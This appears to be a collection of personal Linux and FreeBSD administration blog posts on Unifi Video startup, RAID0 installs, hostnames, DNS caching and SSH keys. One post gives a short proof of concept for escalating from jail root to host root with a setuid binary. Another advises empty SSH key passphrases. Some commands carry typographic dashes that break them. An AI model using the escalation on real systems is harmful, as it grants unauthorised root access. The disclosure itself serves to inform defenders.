Delay starting Unifi Video (NVR) until it’s recording partition has been mounted.

Scenario

Unifi Video installed on Debian is setup to record to a remote filesystem.

Problem

The unifi-video service is started before the remote filesystem is mounted. unifi-video fails silently after the remote filesystem has mounted in that it neither keep recordings nor does it notify the user that it is failing to persist recordings.

Solution

Delay the start of the unifi-video service until after the remote filesystem has been mounted.

To do so, make note of the remote filesystem to which you wish to save recordings, then modify unifi-video’s init script and make it wait until that filesystem has been mounted.

Example

By /etc/fstab, I’m mounting /video by NFS.

192.168.2.150:/video /video nfs rw,async,hard,intr,noexec,_netdev 0 0

The following command returns 0 if the above has been mounted; 1 otherwise.

grep "192.168.2.150:/video /video nfs4" /proc/mounts

As such, unifi-video’s init script can be modified to start only if the aforementioned test passes.

The script is at /etc/init.d/unifi-video

Add the following after start) while keeping the same indention level as the following code (in that file).

count=0
while ! grep "192.168.2.150:/video /video nfs4" /proc/mounts
do
    sleep 1
    count=`expr $count + 1`
    if test $count -eq 30
    then
        log_failure_msg "(the remote datastore is not mounted)"
        exit 1
    fi
done

Then execute the following to reload the init script.

systemctl daemon-reload

At this point it is a good idea to reboot the server, then execute the following to ensure unifi-video is able to start.

service status unifi-video

Configuring a Debian 9 v.m. to perform unattended upgrades.

Debian’s wiki contains an general guide for unattended upgrades.
(PDF Archive: UnattendedUpgrades – Debian Wiki)

Uncomment the following lines in /etc/apt/apt.conf.d/50unattended-upgrades

Unattended-Upgrade::Mail "root";
Unattended-Upgrade::MailOnlyOnErrors "true";
Unattended-Upgrade::Remove-Unused-Dependencies "true";
Unattended-Upgrade::Automatic-Reboot "true";
Unattended-Upgrade::Automatic-Reboot-WithUsers "false";

Passwordless SSH

Tired of having to retype your password each time you login to that remote computer?
Let me show you how to setup passwordless ssh.
Generate public and private keys on your client computer. Leave the passphrase empty.

user@local:~$ ssh-keygen -t rsa

Distribute your public key (~/.ssh/id_rsa.pub) to each servers .ssh/authorized_keys file.
user@local:~$ cat ~/.ssh/id_rsa.pub | ssh user@servername 'tee -a .ssh/authorized_keys'
 
Security concerns: If someone gets hold of your private key AND your left the passphrase empty, the he will have access to all of the remote computers just as you.


[ad#Google Adsense-1]

How to : Install Ubuntu onto software RAID0

Found this nifty article which explains how to install Ubuntu onto software raid 0
Requirements:
2 hard-drive, best if they are identical.
Ubuntu liveCD
1.
Boot into a live cd
2.
Install “mdadm” and remove “dmraid” (the latter causes some of my drives to not show up in the installer).

sudo apt-get update
sudo apt-get install mdadm
sudo apt-get remove dmraid

3.
Partitioning the two drives:
– Start the gparted partitioning manager
– Create a 500 MB partition on the “first” drive (“/dev/sda” + “/dev/sdb” = “/dev/sda” is the first one, but you can use any…I think)
– Create the main (“/”) partition on both drives, it’s size should be the rest of the free space minus the space used in the above partition and the swap partition beneath. Remember, this and the next partitions needs to be of equal size on both drives.
– The next partition is for your swap space. Create them with the same size as your RAM (combined they then will become doubled the space of your RAM).
It’s important you are aware what partitions are what “names”, sdb1 etc. You can also use different partitions sizes off course, as long as they have “enough” space.
[ad#Google Adsense-1]
4.
Create the raids:

sudo mdadm –create /dev/md0 –verbose –level=0 –raid-devices=2 /dev/sda2 /dev/sdb1
sudo mdadm –create /dev/md1 –verbose –level=0 –raid-devices=2 /dev/sda3 /dev/sdb2

5.
Format the new raids, or else the install application will want to alter the partition table, on the swap raid partition at least in my experience.

sudo mkfs.ext4 /dev/md0
sudo mkswap /dev/md1

6.
Start the installer (on the desktop), but DON’T reboot in the end when it asks!!!
– Complete the steps…
– …until you get to the partitioning, choose the advanced option at the bottom.
– Choose “/dev/md0” and click change, choose ext4 (or what ever you want) in the dropdown menu, choose to format and choose mount point “/”.
– Choose “/dev/md1” and click change, choose swap (now the rest is greyd out?)
– Choose the 500MB partition, click change: ext4, format, “/boot”
– IMPORTANT! When you arrive at the summary page (after entering name, password etc), click advanced at bottom right, and choose the drive where the 500MB partition is located (“sda”, “sdb” etc….but NOT “sda1”, “sdb1” etc), this is where grub, the boot loader, will be installed.
– The pair partitions will show in black as unknown with a warning sign…just ignore this, it’s ok (assuming the drives doesn’t have additional problems).
You can skip the step on the summary page, but then the Ubuntu installer will install the boot loader on what ever drive it considers the first drive. This should be technically ok, but I prefer to keep Linux separate, had the Win7 connected, so it was detected by Grub.
[ad#Google Adsense-1]
7.
We now need to do some stuff on the installed Linux, but before we boot off it because it can’t boot before we do. So we will mount it and “log” into it.

sudo mount /dev/md0 /target/
sudo mount –bind /dev/ /target/dev/
sudo mount –bind /sys/ /target/sys/
sudo mount –bind /proc/ /target/proc/
sudo mount –bind /dev/sda1 /target/boot/
sudo chroot /target

Notice the underlined part, you have to point it to the 500MB partition you created.
IMPORTANT: In Ubuntu 11.04, use the mounted dir, and not /dev/sda1.
“/media/7feb0b41-e0c2-4d98-b83e-f5f8f7b2e94b” <- example

sudo apt-get update
sudo apt-get remove dmraid
sudo apt-get install mdadm
sudo grub-install /dev/sda

Again, notice the underlined part, do the same as above, where is the 500MB partition?
Update: Notice that “dmraid” is now removed. A bird told me that it could interfere with mdadm. I installed/kept it, but you should probably remove it. Please tell me if this messes up things!
Update 2: Ubuntu 11.04 doesn’t have dmraid, so nothing to remove 
8.
Reboot and remove the live cd/usb stick. If you have set the BIOS to boot from the correct HDD, your Linux Raid 0 setup should start 
 
source: http://ubuntuforums.org/showthread.php?t=1551087

How to : Change the hostname on Fedora 15

[ad#Google Adsense-1]
Change the entry in /etc/hosts and /etc/sysconfig/network.
If your using network, then Run as root: service network restart
If your using network-manager, then run as root: service NetworkManager restart
[ad#Google Adsense-1]

How to : Change the hostname on Ubuntu 11.04

[ad#Google Adsense-1]
Follow these steps in order to change the hostname on Ubuntu Server
1. Execute sudo hostname host.domain , replace host.domain with your hostname, example: laptop.petur.eu
2. Edit the /etc/hosts file.
3. Edit the /etc/hostname file.
4. Edit the /etc/resolv.conf file if needed.
5. Reboot the server (highly recommenced although not required)
 
[ad#Google Adsense-1]

Rooting FreeBSD , Privilege Escalation using Jails

[ad#Google Adsense-1]

Author:
Pétur Ingi Egilsson <petur@petur.eu>
Description:
A remote user with root privilegs to a FreeBSD jail & user privileges to the jails host machine can obtain root privileges on the host machine.

Affected:
FreeBSD 8.2 – Confirmed
Proof of concept:
From within the jail:
Compile the following using gcc and move resulting executable to /tmp/a.out
#include <stdio.h>
main(){
system(“whoami”);
}
Make sure /tmp/a.out is owned by root and that is has the setuid flag set ( chmod u+s a.out )
From within the jails host as a regular user:
Locate the jails directory structure ( use the command ‘jls’ )
Execute the a.out program
 
Comments?
[ad#Google Adsense-1]

Speed up your Internet browsing on Linux with a DNS Cache server

[ad#Google Adsense-1]
Most Linux distributions, unlike OpenSuSE, OS X and Windows, do not have a DNS Cache service installed by default.
Your computer will need to lookup a website’s IP address every time you visit it. The lookup request is passed on to the DNS server(s) specified in the /etc/resolv.conf file. It will take the server a few ms (milliseconds) at best to respond. It can take a ‘long’ time if your using a slow Internet connection (or a wireless LAN).
Caching DNS acts just like a regular DNS, from the users point of view. The service is configured to respond to lookup requests and return IP addresses. If the Caching DNS does not know the answer to the request, he will simply forward the request to the correct server and then forward the reply to you once it has been received.
So what’s the difference?
An Caching DNS holds a small database of recent requests, or so to speak. He will keep each entry in his database for a specified amount of time  (more about TTL). If the Caching DNS receives a requests for a entry currently in his database, he will respond to it instantly without contacting any other servers. If the Caching DNS is on your local computer, this will occur in 0 milliseconds.
You can check the responce time of your DNS server by running the following command:
dig google.com | grep “Query time”
Let me demonstrate this by running the command two times on two different targets and explain the output.
petur@petur-desktop:/etc$ dig google.com|grep “Query time”
;; Query time: 49 msec
petur@petur-desktop:/etc$ dig google.com|grep “Query time”
;; Query time: 51 msec
Look at the above output. 49 msec (milli seconds) and 51 msec. The small difference between the lookup time for the two requests indicates that the DNS server I’m using has the answer to the request in the cache. Google.com is after all a very popular destination and someone on my campus has probably visited it recently.
What about a site nobody on my campus is likely to visit? I’ll go for australian.jp
petur@petur-desktop:/etc$ dig australian.jp|grep “Query time”
;; Query time: 610 msec
petur@petur-desktop:/etc$ dig australian.jp|grep “Query time”
;; Query time: 46 msec
The first request took 610 msec, that’s because the DNS server I’m using didn’t know the answer to my request and had to contact the DNS in charge of australian.jp (which I guess is located somewhere in Japan).
Now, the second request took only 46 msec, that’s because the DNS I’m using has cached the request and does not have to contact the _Japanese_ server again any time too soon.
When the Caching DNS receives a lookup request, he will first check to see if he has the answer cached, if not he will contact the server responsible for the domain in question.
I would like to shave those 50 msec, by average, off each site I visit on the web.
I’ll show you how this can be done on Ubuntu Linux.
Begin by installing dnsmasq either from “Applications->Ubuntu Software Center” or by using the command sudo apt-get install dnsmasq from the console.
Next you’ll need the change the order of your DNS servers, do this by going to “System->Preferences->Network Connections”
Select the name of the connection you are using and click Edit…
Goto IPv4 Settings
If you have “Method: Manual”, put “127.0.0.1,” (without the quotation marks) in front of whatever it says in your “DNS servers:” field.
If you have “Method: Automatic(DHCP)” -> Change to “Automatic (DHCP) address only” and put “127.0.0.1,8.8.8.8” in the “DNS servers:” field.
8.8.8.8 is Googles DNS server, you might want to replace this with the one provided by your ISP (Internet Service Provider).
Reboot the network-manager service by executing the command sudo service network-manager restart from the command line.
You now have a DNS Caching service running on your computer.
Let me demonstrate the benefit:
petur@petur-desktop:/etc$ dig australian.jp|grep “Query time”
;; Query time: 610 msec
petur@petur-desktop:/etc$ dig australian.jp|grep “Query time”
;; Query time: 0 msec
 
[ad#Google Adsense-1]
Other Linux distrobutions:
1. Install dnsmasq
2. Put “nameserver 127.0.0.1” at the top of your /etc/resolv.conf file
3. You might have to bring your interface down\up using ifconfig or ifdown\ifup

Questions or comments?

How to: Change the hostname on Ubuntu Server

[ad#Google Adsense-1]
Follow these steps in order to change the hostname on Ubuntu Server
1. Execute sudo hostname host.domain , replace host.domain with your hostname, example: laptop.petur.eu
2. Edit the /etc/hosts file.
3. Edit the /etc/hostname file.
4. Edit the /etc/resolv.conf file if needed.
5. Reboot the server (highly recommenced although not required)
 
[ad#Google Adsense-1]

How to flush DNS cache Linux, Mac OS X, Windows

[ad#Google Adsense-1]
To flush DNS cache on Microsoft Windows (Win Vista, Win 7)

Run hte command prompt with Administrator privileges

Type ipconfig /flushdns

To flush the DNS cache on Linux, restart the nscd daemon:-

Linux does not cache dns by default. Some systems might have a dns cahcing service such as nscd. Restarting the DNS caching service will flush the DNS cache.

To restart the nscd daemon, type /etc/rc.d/init.d/nscd restart in your terminal, on Ubuntu or Debian you need to use sudo service nscd instead

To flush the DNS cache in Mac OS X 10.6 Snow Leopard

type dscacheutil -flushcache in the Terminal

 

[ad#Google Adsense-1]